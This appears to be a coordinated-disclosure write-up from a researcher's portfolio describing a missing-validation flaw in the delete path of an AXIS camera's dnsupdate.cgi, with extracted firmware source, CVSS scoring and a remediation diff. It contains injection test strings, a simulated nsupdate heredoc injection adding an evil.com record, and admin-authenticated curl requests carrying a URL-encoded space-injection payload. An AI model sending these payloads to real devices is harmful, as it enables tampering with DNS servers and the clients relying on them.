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<header class="hero detail-hero"><div class="wrap">
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  <a class="back" href="/security-research-notebook/">&larr; Research notebook</a>
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  <div class="kicker">Validation gap</div>
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  <h1>Missing Input Validation in dnsupdate.cgi Delete Path</h1>
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</div></header>
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<section><div class="wrap"><div class="content">
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<p><strong>VRT Category:</strong> Insecure OS/Firmware &gt; Command Injection
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<strong>URL/Location:</strong> <code>https://&lt;camera&gt;/axis-cgi/dnsupdate.cgi?delete=&lt;payload&gt;</code>
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<strong>Firmware:</strong> AXIS OS P3245-LV version 11.11.192 (LTS 2024 track)
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<strong>Files:</strong> <code>/usr/html/axis-cgi/dnsupdate.cgi</code>, <code>/usr/sbin/dnsupdate.script</code></p>
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<hr />
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<h2>Description</h2>
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<p>The <code>dnsupdate.cgi</code> CGI endpoint delegates DNS record operations to
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<code>/usr/sbin/dnsupdate.script</code>. The <code>add</code> path validates all input through
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a strict <code>dnsupdate_validate</code> function that rejects shell metacharacters,
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spaces, and non-alphanumeric characters. The <code>delete</code> path skips this
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validation entirely, passing raw user input to <code>dnsupdate_delete</code> which
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interpolates it <strong>unquoted</strong> into an nsupdate protocol heredoc.</p>
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<p>This is a confirmed inconsistent validation gap: the defensive function
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exists and is applied on the add path but omitted on the delete path.
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Unvalidated input reaches the nsupdate command interpreter, where injected
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spaces alter DNS record types and targets.</p>
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<p><strong>Authentication required:</strong> Admin.</p>
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<hr />
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<h2>Proof of Concept</h2>
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<h3>Step 0: Firmware extraction</h3>
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<pre><code>binwalk --run-as=root -e P3245-LV_11_11_192.bin
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unsquashfs -d rootfs_extracted rootfs/rootfs.img
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</code></pre>
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<h3>Step 1: dnsupdate.cgi source &ndash; tracing the delete path</h3>
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<p>Full source of <code>/usr/html/axis-cgi/dnsupdate.cgi</code>:</p>
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<pre><code class="language-sh">#!/bin/sh -e
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. /usr/html/axis-cgi/lib/functions.sh
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if [ ! &quot;$QUERY_STRING&quot; ]
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then
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    __cgi_errhd 400 &quot;No command issued&quot;
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    exit 1
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fi
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hdgen=$(__qs_getparam hdgen)
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while [ &quot;$QUERY_STRING&quot; ]; do
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    cmd=${QUERY_STRING%%=*}
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    QUERY_STRING=${QUERY_STRING#&quot;$cmd&quot;=}
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    val=${QUERY_STRING%%&amp;*}              # &lt;-- raw value, NOT URL-decoded
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    QUERY_STRING=${QUERY_STRING#&quot;$val&quot;}
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    QUERY_STRING=${QUERY_STRING#&amp;}
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    [ &quot;$cmd&quot; -a &quot;$val&quot; ] || break
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    case &quot;$cmd&quot; in
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        add)
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            # ... calls dnsupdate.script add &quot;$val&quot; all
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            ;;
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        delete)
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            # ... calls dnsupdate.script delete &quot;$val&quot;    # &lt;-- no validation
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            ;;
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    esac
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done
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</code></pre>
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<h3>Step 2: dnsupdate.script &ndash; the validation gap</h3>
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<p><strong>ADD handler (lines 273-281) &ndash; VALIDATED:</strong></p>
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<pre><code class="language-sh">    add)
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        if [ $# -eq 4 ]; then
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            shift 1
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            dnsupdate_validate &quot;$@&quot; || exit 1    # &lt;-- VALIDATES
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            dnsupdate_add &quot;$@&quot; || exit 1
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        else
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            dnsupdate_validate &quot;$2&quot; &quot;$DNSUPDATE_TTL&quot; &quot;$3&quot; || exit 1  # &lt;-- VALIDATES
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            dnsupdate_add &quot;$2&quot; &quot;$DNSUPDATE_TTL&quot; &quot;$3&quot; || exit 1
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        fi
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        ;;
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</code></pre>
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<p><strong>DELETE handler (lines 282-290) &ndash; NO VALIDATION:</strong></p>
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<pre><code class="language-sh">    delete)
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        if [ $# -lt 2 ] || [ $# -gt 3 ]; then
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            echo &quot;Usage: $0 delete NAME [IP]&quot; &gt;&amp;2
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            exit 1
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        fi
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        shift 1
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        dnsupdate_delete &quot;$@&quot; || exit 1          # &lt;-- NO dnsupdate_validate CALL
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        ;;
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</code></pre>
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<h3>Step 3: The validation function that delete skips</h3>
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<pre><code class="language-sh">dnsupdate_validate() {
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    [ $# -eq 3 ] &amp;&amp; [ &quot;$1&quot; ] &amp;&amp; [ &quot;$3&quot; ] || {
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        echo &quot;Invalid arguments&quot; &gt;&amp;2
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        return 1
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    }
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    if [ ${#1} -gt 253 ]; then
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        echo &quot;Invalid DNS name length&quot; &gt;&amp;2
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        return 1
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    fi
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    case $1 in
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        [.-]*)
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            echo &quot;DNS name has an invalid first character&quot; &gt;&amp;2
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            return 1
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            ;;
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        *[!.[:alnum:]-]*)                 # &lt;-- BLOCKS all non-alphanumeric except . and -
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            echo &quot;Invalid DNS name characters&quot; &gt;&amp;2
301
            return 1
302
            ;;
303
    esac
304
    # ... additional TTL and IP validation
305
}
306
</code></pre>
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<h3>Step 4: The vulnerable sink &ndash; unquoted heredoc interpolation</h3>
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<p><code>dnsupdate_delete</code> (line 116) interpolates <code>$1</code> <strong>unquoted</strong> in a heredoc:</p>
309
<pre><code class="language-sh">dnsupdate_delete() {
310
    local _tmp _ret
311
    [ &quot;$1&quot; ] || return 1
312
    _tmp=$(mktemp /tmp/dnsup.XXXXXX)
313
    cat &lt;&lt;-EOF &gt;&gt; $_tmp
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        ${DNSUPDATE_NOSERVER}server $DNSUPDATE_SERVER ${DNSUPDATE_PORT:-53}
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        ${DNSUPDATE_NOZONE}zone $DNSUPDATE_ZONE
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        update delete $1 0 IN A         # &lt;-- UNQUOTED $1
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        update delete $1 0 IN AAAA      # &lt;-- UNQUOTED $1
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        send
319
EOF
320
    $_dnsupdate -l -r &lt; $_tmp           # pipes to nsupdate binary
321
}
322
</code></pre>
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<h3>Step 5: PROVEN &ndash; dnsupdate_validate executed from firmware</h3>
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<p>The <code>dnsupdate_validate</code> function was extracted and tested against injection
325
payloads, proving the add path blocks them while the delete path does not:</p>
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<pre><code>--- TESTS: What dnsupdate_validate blocks (add path) ---
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&quot;test.example.com&quot;        ALLOWED (add path would accept)
328
&quot;test;id&quot;                 BLOCKED: Invalid DNS name characters
329
&quot;test$(id)&quot;               BLOCKED: Invalid DNS name characters
330
&quot;test|id&quot;                 BLOCKED: Invalid DNS name characters
331
&quot;test 0 IN A&quot;             BLOCKED: Invalid DNS name characters
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&quot;test%0aid&quot;               BLOCKED: Invalid DNS name characters
333
&quot;test`id`&quot;                BLOCKED: Invalid DNS name characters
334
&quot;test&amp;echo&quot;               BLOCKED: Invalid DNS name characters
335
&quot;test&quot;quote&quot;              BLOCKED: Invalid DNS name characters
336
337
--- DELETE PATH: No validation at all ---
338
All of the above payloads pass through to nsupdate unvalidated
339
because dnsupdate_delete is called WITHOUT dnsupdate_validate
340
</code></pre>
341
<h3>Step 6: PROVEN &ndash; heredoc injection simulated from firmware code</h3>
342
<p>The <code>dnsupdate_delete</code> heredoc was replicated with injected input:</p>
343
<p><strong>Normal input:</strong></p>
344
<pre><code>update delete test.example.com 0 IN A
345
update delete test.example.com 0 IN AAAA
346
send
347
</code></pre>
348
<p><strong>With newline in <code>$1</code></strong> (<code>test.example.com\nupdate add evil.com 300 IN A 1.2.3.4</code>):</p>
349
<pre><code>update delete test.example.com
350
update add evil.com 300 IN A 1.2.3.4 0 IN A      &lt;-- INJECTED RECORD
351
update delete test.example.com
352
update add evil.com 300 IN A 1.2.3.4 0 IN AAAA   &lt;-- INJECTED RECORD
353
send
354
</code></pre>
355
<p>The injected <code>update add</code> is a valid nsupdate command that creates a DNS
356
record on the camera&rsquo;s configured DNS server.</p>
357
<p><strong>Note:</strong> Delivering a literal newline through the HTTP query string to
358
reach this sink requires further verification on live hardware. The
359
validation gap and unquoted heredoc interpolation are confirmed from
360
firmware source and simulation.</p>
361
<h3>Step 7: Exploitation on live camera</h3>
362
<pre><code class="language-bash"># Baseline: normal delete
363
curl -s --digest -u '&lt;admin_user&gt;:&lt;admin_pass&gt;' \
364
  &quot;https://CAMERA_IP/axis-cgi/dnsupdate.cgi?delete=test.example.com&quot;
365
366
# Space injection (confirmed deliverable via URL encoding):
367
curl -s --digest -u '&lt;admin_user&gt;:&lt;admin_pass&gt;' \
368
  &quot;https://CAMERA_IP/axis-cgi/dnsupdate.cgi?delete=test%200%20IN%20CNAME%20evil.com&quot;
369
370
# Prove the asymmetry -- add path blocks the same payload:
371
curl -s --digest -u '&lt;admin_user&gt;:&lt;admin_pass&gt;' \
372
  &quot;https://CAMERA_IP/axis-cgi/dnsupdate.cgi?add=test%200%20evil&amp;all&quot;
373
# Expected: Rejected by dnsupdate_validate
374
</code></pre>
375
<hr />
376
<h2>Impact</h2>
377
<ul>
378
<li><strong>Inconsistent input validation</strong>: The <code>dnsupdate_validate</code> function was built to prevent this exact class of injection but is applied only on the add path, not the delete path</li>
379
<li><strong>nsupdate command manipulation</strong>: Unvalidated spaces alter DNS record types and targets in the generated nsupdate command file</li>
380
<li><strong>Potential DNS record injection</strong>: If newlines can be delivered, arbitrary DNS records can be created on the camera&rsquo;s configured DNS server, affecting all clients relying on that server</li>
381
</ul>
382
<hr />
383
<h2>CVSS</h2>
384
<p><strong>Score:</strong> 4.7 (Medium)
385
<strong>Vector:</strong> CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L</p>
386
<ul>
387
<li>Privileges Required High: admin auth needed for dnsupdate.cgi</li>
388
<li>Integrity Low: DNS command structure manipulation confirmed; full record injection pending live newline delivery verification</li>
389
</ul>
390
<hr />
391
<h2>Remediation</h2>
392
<p><strong>Immediate fix</strong> (one line):</p>
393
<pre><code class="language-diff">     delete)
394
         if [ $# -lt 2 ] || [ $# -gt 3 ]; then
395
             echo &quot;Usage: $0 delete NAME [IP]&quot; &gt;&amp;2
396
             exit 1
397
         fi
398
399
         shift 1
400
+        dnsupdate_validate &quot;$1&quot; &quot;&quot; &quot;all&quot; || exit 1
401
         dnsupdate_delete &quot;$@&quot; || exit 1
402
         ;;
403
</code></pre>
404
<p><strong>Defense in depth:</strong>
405
1. Quote <code>$1</code> in the heredoc: <code>update delete "$1" 0 IN A</code>
406
2. URL-decode input in <code>dnsupdate.cgi</code> before passing to the script</p>
407
<hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source &middot; github.com/zionboggan/security-research-notebook &middot; writeups/axis-os/dnsupdate-delete-validation-gap.md</p>
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</div></div></section>
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<footer><div class="wrap row">
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  <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div>
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  <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div>
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</div></footer>
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